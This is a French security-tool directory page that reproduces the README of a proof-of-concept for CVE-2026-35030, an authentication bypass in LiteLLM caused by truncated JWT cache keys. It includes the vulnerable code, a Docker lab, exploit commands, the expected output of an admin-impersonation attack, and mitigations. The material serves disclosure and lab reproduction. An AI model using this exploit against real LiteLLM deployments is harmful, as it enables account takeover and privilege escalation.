Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-35030-PoC — Le code pour reproduire personnellement la vulnérabilité correspondante | Kitploit
Outils/GitHubGitHub/learner202649/cve-2026-35030-poc
Analyse des VulnérabilitésExploitationSécurité WebCryptographieTests d'IntrusionAuthentificationApprentissage et ÉducationLabs et Pratique
GitHublearner202649/cve-2026-35030-poc

CVE-2026-35030-PoC

Le code pour reproduire personnellement la vulnérabilité correspondante

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-35030 — Contournement d'authentification LiteLLM via collision de clé de cache Userinfo OIDC

LiteLLM utilise token[:20] comme clé de cache pour les userinfo OIDC. Deux JWT différents signés avec le même algorithme produisent des 20 premiers caractères identiques, permettant à un attaquant non authentifié d'hériter de l'identité et des permissions d'un autre utilisateur en cache.

ChampValeur
CVECVE-2026-35030
CVSS v4.09.4 (CRITIQUE) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
CVSS v3.19.1 (CRITIQUE) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-287 (Authentification incorrecte) / CWE-222 (Identifiants insuffisamment protégés)
AffectéLiteLLM < 1.83.0 (avec enable_jwt_auth: true)
Corrigév1.83.0+ (clé de cache changée en sha256(token))
Publié2026-04-06
Découvert parVeria Labs
LiensGHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory

Description

LiteLLM est une passerelle AI / serveur proxy pour appeler les API LLM. Lorsque l'authentification JWT est activée (enable_jwt_auth: true), LiteLLM valide les jetons auprès d'un fournisseur OIDC et met en cache la réponse userinfo.

La vulnérabilité : La clé de cache utilise seulement les 20 premiers caractères du JWT :

root@kitploit:~
# Code vulnérable (pre-1.83.0)
cache_key = token[:20]   # Seulement les 20 premiers caractères !

Un JWT est composé de trois segments encodés en base64url séparés par des points :

root@kitploit:~
<header>.<payload>.<signature>

Le header (ex. {"alg":"RS256","typ":"JWT"}) s'encode de manière identique pour tous les jetons utilisant le même algorithme de signature. Cela signifie que deux JWT différents — émis pour des utilisateurs complètement différents — auront les 20 premiers caractères identiques.

Déroulement de l'attaque

root@kitploit:~
1. Admin s'authentifie → LiteLLM récupère userinfo → mis en cache avec clé = token[:20]
                                                                    ↑
2. Attaquant fabrique un JWT avec le même algorithme (RS256) ──────┘
   → token[:20] est IDENTIQUE → cache HIT → hérite de l'identité admin

Impact

  • Contournement d'authentification : l'attaquant hérite de l'identité de tout utilisateur mis en cache
  • Élévation de privilèges : si les userinfo de l'admin sont en cache, l'attaquant obtient les privilèges admin
  • Atteinte à la confidentialité + intégrité : l'attaquant peut accéder/modifier les ressources en tant que victime
  • Aucune authentification requise (l'attaquant peut être non authentifié)

Note sur la licence entreprise : L'authentification JWT/OIDC est une fonctionnalité exclusivement entreprise dans LiteLLM (nécessite LITELLM_LICENSE). Pour la reproduction locale du CVE, les deux Dockerfiles modifient la vérification premium_user à True. Cela n'affecte pas la vulnérabilité — la collision de clé de cache (token[:20]) existe indépendamment de la vérification entreprise.

Le premier démarrage exécute les migrations Prisma (~60-90s). LiteLLM sera prêt lorsque les logs afficheront "Uvicorn running on http://0.0.0.0:4000".

Preuve de concept

Démarrage rapide (Docker)

root@kitploit:~
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build

# 2. Install Python dependencies
pip install -r requirements.txt

# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "attacker", "role": "proxy_admin"}'

# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo

# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000

# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed

Sortie attendue

Mode démo — montre la collision de clé de cache :

root@kitploit:~
[+] Admin JWT    (subject=admin):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[+] Attacker JWT (subject=attacker):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[🔥] COLLISION: Both tokens share the same first 20 characters!
    Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
    → cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'

Mode exploit — démontre le contournement effectif de l'authentification :

root@kitploit:~
[VULNERABLE] Exploit Attempt — target: http://localhost:4000

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "admin", ...}   ← INHERITED ADMIN!

[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
        Attacker's token[:20] matched admin's cache key.
        Response user_id='admin' (expected 'admin' for escalation)

Version corrigée — la clé de cache en sha256 empêche la collision :

root@kitploit:~
[FIXED] Exploit Attempt — target: http://localhost:4001

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "attacker", ...}   ← OWN IDENTITY preserved

    [+] Attacker identified as user_id='attacker'.
        Fixed version: cache collision prevented.

Détails techniques

Cause racine

Dans litellm/proxy/auth/handle_jwt.py, le cache des userinfo OIDC utilise token[:20] comme clé :

root@kitploit:~
# Vulnérable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}"   # Seulement les 20 premiers caractères !
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
    return cached_userinfo  # Cache hit → ignorer la récupération userinfo !

# Corrigé (v1.83.0+) — même fichier, ligne 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"

Pourquoi token[:20] est insuffisant

Composant du jetonContient des données spécifiques à l'utilisateur ?Fixé pour le même algorithme ?
Header (premiers ~30 car.)❌ Non✅ Oui — base64 identique
Payload (spécifique à l'utilisateur)✅ Oui❌ Non — unique par utilisateur
Signature✅ Oui❌ Non — unique par clé

Puisque l'en-tête est la seule partie dans les 20 premiers caractères, et que l'en-tête est identique pour tous les jetons utilisant le même algorithme de signature, chaque JWT RS256 du même émetteur a les 20 premiers caractères exactement identiques.

Scénarios d'attaque

ScénarioDescription
Élévation de privilègesUn utilisateur à faibles privilèges devient admin via collision de cache
Usurpation horizontaleUsurper n'importe quel utilisateur dont les userinfo sont en cache
Chaîne de contournement d'authCombinaison avec CVE-2026-35029 pour obtenir une exécution de code à distance

Environnement

root@kitploit:~
CVE-2026-35030/
├── README.md                    # Ce fichier
├── docker-compose.yml           # LiteLLM vulnérable + corrigé + OIDC simulé
├── litellm_config.yaml          # Configuration LiteLLM avec JWT activé
├── requirements.txt             # Dépendances Python (PoC)
├── litellm-vuln/
│   └── Dockerfile               # LiteLLM vulnérable v1.82.5 avec patch entreprise
├── litellm-fixed/
│   └── Dockerfile               # LiteLLM corrigé v1.83.0+ avec clé de cache sha256
├── oidc-provider/
│   ├── Dockerfile               # Image du fournisseur OIDC simulé
│   ├── requirements.txt
│   └── server.py                # Simulation OIDC (FastAPI)
├── exploit/
│   ├── exploit.py               # Script principal d'exploit PoC
│   └── token_forge.py           # Utilitaires de collision JWT
├── docs/
│   └── advisory.md              # Référence de l'avis
└── screenshots/
    └── README.md                # Emplacement des captures d'écran de preuve

Atténuation

  1. Mettre à niveau vers LiteLLM v1.83.0+ (clé de cache utilise sha256(token))
  2. Désactiver l'auth JWT/OIDC si non nécessaire : enable_jwt_auth: false
  3. Restreindre l'exposition réseau des points de terminaison LiteLLM
  4. Définir un TTL de cache OIDC court pour réduire la fenêtre d'attaque

Références

  • GitHub Security Advisory GHSA-jjhc-v7c2-5hh6
  • GitLab Advisory
  • NVD Detail
  • LiteLLM Security Hardening (April 2026)
  • v1.83.0-stable Release

Avertissement : Ce contenu est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement.

Télécharger l’outil